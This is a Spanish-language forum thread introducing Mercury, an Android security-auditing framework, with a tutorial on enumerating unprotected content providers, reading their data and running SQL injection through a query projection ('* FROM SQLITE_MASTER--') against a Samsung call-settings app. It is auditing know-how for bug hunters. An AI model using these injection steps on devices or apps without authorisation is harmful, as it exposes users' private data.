comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Mercury: Auditoria de aplicaciones Android

  • 3 Respuestas
  • 1948 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Conectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5409
  • Actividad:
    20%
  • Reputación 33
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Febrero 20, 2013, 09:43:26 pm »
Mercury, Metasploit para android


http://labs.mwrinfosecurity.com/tools/2012/03/16/mercury/

Disfruten!


Desconectado Stuxnet

  • *
  • Underc0der
  • Mensajes: 259
  • Actividad:
    0%
  • Reputación 2
    • Ver Perfil
    • Devel Security
  • Twitter: _stuxnet
« Respuesta #1 en: Febrero 23, 2013, 09:04:10 pm »

Una de las herramientas que más nos llamaron la atención de la BlackHat Europe la que presentó Tyrone Erasmus en su ponencia 'The Heavy Metal That Poisoned the Droid' (whitepaper y slides).

Se llama Mercury de MWR Labs y es un framework gratuito que ayudará a los "cazadores" de bugs a encontrar vulnerabilidades, escribir exploits PoC y, en definitiva, a jugar con Android.

Se trata de una herramienta que nos permitirá examinar de forma dinámica y a explotar las posibilidades de ataque de las aplicaciones que residen en un dispositivo Android. Se divide en dos partes: una aplicación servidor que requiere pocos privilegios y se instala en el teléfono y un cliente escrito en Python para interactuar con el servidor desde la línea de comandos.



Características

El principal objetivo de Mercury es ser una herramienta de auditoría que pueda utilizarse con muchos propósitos. Algunas de sus características nos permitirán:

- Encontrar más fácilmente información relevante acerca de los vectores de ataque de una aplicación

- Interactuar con los 4 endpoints IPC (actividades, broadcast receivers, proveedores de contenido y servicios) de una aplicación desde la línea de comandos con el fin de encontrar vulnerabilidades

- Jugar con el sistema operativo Linux desde el punto de vista de una aplicación sin privilegios (sorprende lo mucho que se pueden ver)

- Encontrar información sobre los paquetes instalados con filtros de búsqueda opcionales que permiten un mejor control

- Subir y bajar ficheros sin usar ADB (¡esto incluye poder hacerlo a través de Internet también!)

- Escribir nuevos módulos con exploits para las vulnerabilidades encontradas por medio de una rango de comandos
predefinidos, y utilizar los módulos que otros hayan creado



Requisitos previos

- Teléfono o emulador con Android 2.2 o superior
- PC con Linux y Python 2.7 – (el autocompletar de comandos no funciona en Windows)

Instalación

- Descarga el zip desde aquí http://labs.mwrinfosecurity.com/assets/254/mercury-v1.0.zip
- Instala el servicio server/mercury.apk en el teléfono e inícialo:


- Arranca el cliente client/mercury.py en el PC

Citar
./mercury.py

- Conecta con el servidor Mercury:

Si tenemos conectado el teléfono al PC por USB o estamos usando un emulador, necesitaremos redireccionar el puerto 31415 (puedes hacerlo con el comando ‘adb forward tcp:31415 tcp:31415’)

Si nos vamos a conectar al teléfono por la red inalámbrica, necesitaremos obtener la IP del teléfono, en nuestro caso la 192.168.1.35

- Escribimos en el cliente "connect" seguido de la dirección IP del teléfono (127.0.0.1 si utilizamos un emulador o lo tenemos conectado por USB al PC)

Código: [Seleccionar]
mercury: connect 192.168.1.35
Código: [Seleccionar]
Commands - type help for more info
--------------------------------------------
activity broadcast help packages service tools
back debuggable modules provider shell

Empezando a jugar con Mercury

Cuando buscamos fugas de información en un dispositivo Android, los proveedores de contenido exportados son un buen comienzo. Dentro de la sección 'provider', con 'info -p null' obtendremos un listado de todos estos proveedores y sólo tendremos que ver aquellos que no requieran permisos para leerlos (Required Permission - Read: null o Required Permission - Write: null).

El desarrollador de una aplicación tiene que configurar específicamente 'android:readPermission' o 'android:permission' en el proveedor de contenidos dentro del fichero 'AndroidManifest.xml' si no quiere que la información sea accesible por otras aplicaciones del dispositivo. Si no lo hace, a veces no encontraremos información delicada y otras veces encontraremos datos que al desarrollador no le gustaría que leyéramos.

Código: [Seleccionar]
*mercury: provider
*mercury#provider: info -p null

Package name: com.sec.android.app.callsetting
Authority: com.sec.android.app.callsetting.allcalls
Required Permission - Read: null
Required Permission - Write: null
Grant Uri Permissions: false
Multiprocess allowed: false

Una vez que seleccionamos la aplicación objetivo, el siguiente paso será obtener las direcciones de sus contenedores (content URI). Para ello utilizaremos el comando 'finduri':

Código: [Seleccionar]
*mercury#provider: finduri com.sec.android.app.callsetting

/system/app/CallSetting.apk:
Contains no classes.dex

/system/app/CallSetting.odex:
content://com.sec.android.app.callsetting.allcalls/prefix_num
content://com.sec.android.app.callsetting.allcalls/reject_msg
content://com.sec.android.app.callsetting.allcalls/reject_num

Para mostrarnos esta información el comando finduri ha tenido que seguir los siguientes pasos para la enumeración:
- Encontrar la localización del fichero APK
- Descomprimir el fichero classes.dex situado dentro del APK (si no lo hubiera, buscaría los ODEX del paquete)
- Emplear código similar al string de UNIX para encontrar todas las cadenas válidas dentro del binario (fichero DEX u ODEX)
- Filtrar la salida final parseando las cadenas con content://.

Ahora que tenemos las direcciones de los contenedores, con query podemos leer su contenido. Por ejemplo:

Código: [Seleccionar]
*mercury#provider: query content://com.sec.android.app.callsetting.allcalls/reject_msg

_id | reject_message | edit_checked
.....

1 | Lo siento, estoy ocupado. LLámame más tarde | 2131165242

2 | Estoy en una reunión | 2131165243

3 | Estoy en clase | 2131165244

4 | Estoy en el cine | 2131165245

5 | Estoy conduciendo | 2131165246

E incluso realizar inyecciones SQL:

Código: [Seleccionar]
*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "'"

unrecognized token: "' FROM prefix_num": , while compiling: SELECT ' FROM prefix_num

*mercury#provider> query content://com.sec.android.app.callsetting.allcalls/prefix_num --projection "* FROM SQLITE_MASTER--"

type | name | tbl_name | rootpage | sql
.....

table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT)

table | prefix_num | prefix_num | 4 | CREATE TABLE prefix_num (_id INTEGER PRIMARY KEY AUTOINCREMENT, prefix_number TEXT NOT NULL,prefix_checked INTEGER)

table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq)

Desconectado Snifer

  • *
  • Underc0der
  • Mensajes: 1439
  • Actividad:
    0%
  • Reputación 1
  • Snifer@L4b's
    • Ver Perfil
    • Snifer@L4bs
  • Twitter: sniferl4bs
« Respuesta #2 en: Febrero 24, 2013, 12:53:15 am »
Chicos uni los dos temas en uno solo :), asi uno complementa al otro espero no se enojen o digan que abuso ;)

Regards,
Snifer
http://www.sniferl4bs.com


Llaman traidor a la persona que evito que caiga el foro, gente bruta!



Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #3 en: Febrero 24, 2013, 01:40:50 am »
Woow genial lo tengo q probar!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

 

¿Te gustó el post? COMPARTILO!



Android para PC y Mac con "bluestacks"

Iniciado por Only

Respuestas: 1
Vistas: 2272
Último mensaje Diciembre 29, 2012, 09:27:51 pm
por |şSɘŬ
Limpia la cache de tu Android con App Cache Cleaner

Iniciado por 54NDR4

Respuestas: 0
Vistas: 1774
Último mensaje Marzo 31, 2013, 10:58:06 pm
por 54NDR4
Android sabrá cuándo bloquear y cuándo no tu smartphone

Iniciado por Reina_Mora

Respuestas: 1
Vistas: 1986
Último mensaje Marzo 24, 2015, 08:20:04 am
por k0rs0
Fast For Facebook - Excelente Cliente Facebook para Android

Iniciado por Kodeinfect

Respuestas: 0
Vistas: 1559
Último mensaje Febrero 03, 2013, 04:58:14 pm
por Kodeinfect
Código Fuente de Android 4.0 "Ice Cream Sandwich"

Iniciado por Only

Respuestas: 0
Vistas: 2109
Último mensaje Noviembre 16, 2011, 10:06:38 pm
por Only